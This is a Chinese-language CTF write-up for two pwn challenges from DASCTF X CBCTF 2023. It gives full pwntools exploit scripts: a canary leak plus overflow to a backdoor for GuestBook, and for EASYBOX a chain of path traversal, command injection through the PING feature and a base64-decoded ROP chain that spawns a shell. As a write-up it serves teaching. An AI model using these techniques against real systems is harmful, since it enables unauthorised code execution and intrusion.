DASCTF X CBCTF 2023|无畏者先行 [PWN] WP📌
1. GuestBook
题目保护情况 开启canary,nx保护
64位ida载入 首先可以通过输入0x18个垃圾数据可以通过打印泄露出canary
这里至多有四次输入机会每次都可以溢出,但是有00截断
程序存在后门
🔢思路:1.通过打印泄露出canary
** 2.由于canary的00截断,第一溢出到返回地址并修改返回地址,(注意此时canary的末为不能为0,返回地址也有截断)**
3.第二次溢出到canary通过00截断把canary复原
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./GuestBook')
io.recvuntil(' name:')
payload = b'a'*0x10 + b'b'*0x8
#gdb.attach(io)
magic = 0x4012c3
io.sendline(payload)
io.recvuntil('\n')
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary----->'+hex(canary))
io.recvuntil('(MAX 4):')
io.sendline('2')
payload = b'a'*0x98 + p64(canary+ord('a')) + b'a'*8 + b'\xc3\x12\x40'
gdb.attach(io)
io.sendline(payload)
payload = b'a'*0x78 + p64(canary)
#gdb.attach(io)
io.sendline(payload)
io.interactive()
**2.**EASYBOX
题目保护情况 同样是canary,和nx开启
64位ida载入
通过ida和运行可以看见是一个类似于shell的东西,有几个选项可以选,来一个一个分析
,
PING操作,可以把我们输入的东西拼接在命令里面执行并放入result.txt文件里面
但是做了过滤所以并不能直接读取flag
CAT操作,可以查看文件,这里有两个漏洞
前面知道canary存在/secret/canary.txt文件中,上面那个漏洞可以实现跨目录读取canary
🔢思路:1.通过目录穿越读取canary
** 2.通过PING,把ROP链写入result.txt文件中,因为有截断,可以通过base64把rop链编码,然后通过linux命令实现base64解码**
** 3.通过栈溢出获取shell**
EXP:
from pwn import *
import base64
context(log_level='debug',arch='amd64',os='linux')
io = remote('node5.buuoj.cn',25438)
io.sendlineafter('name:','aaaa')
io.recvuntil('/home/ctf')
payload = 'CAT'
io.sendline(payload)
io.recvuntil('view:')
payload = '../../secret/canary.txt'
io.sendline(payload)
canary = int(io.recvline(),16)
success('canary----->'+hex(canary))
pop_rdi = 0x0000000000401ce3 #: pop rdi ; ret
system = 0x401230
sh = 0x402090
ret = 0x401C77
ROPpayload = b'a'*0x48 + p64(canary) + b'A'*8 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system)
ROPpayload = base64.b64encode(ROPpayload)
payload = b"666;echo '" + ROPpayload +b"'| base64 -d"
io.sendlineafter('/home/ctf','PING')
io.recvuntil('address:')
io.sendline(payload)
io.sendlineafter('/home/ctf','CAT')
io.sendlineafter('view:','result.txt')
io.interactive()
**3.**Binding
这个题目有多种解法通过下一篇单独讲解一下😖😖😖😖😖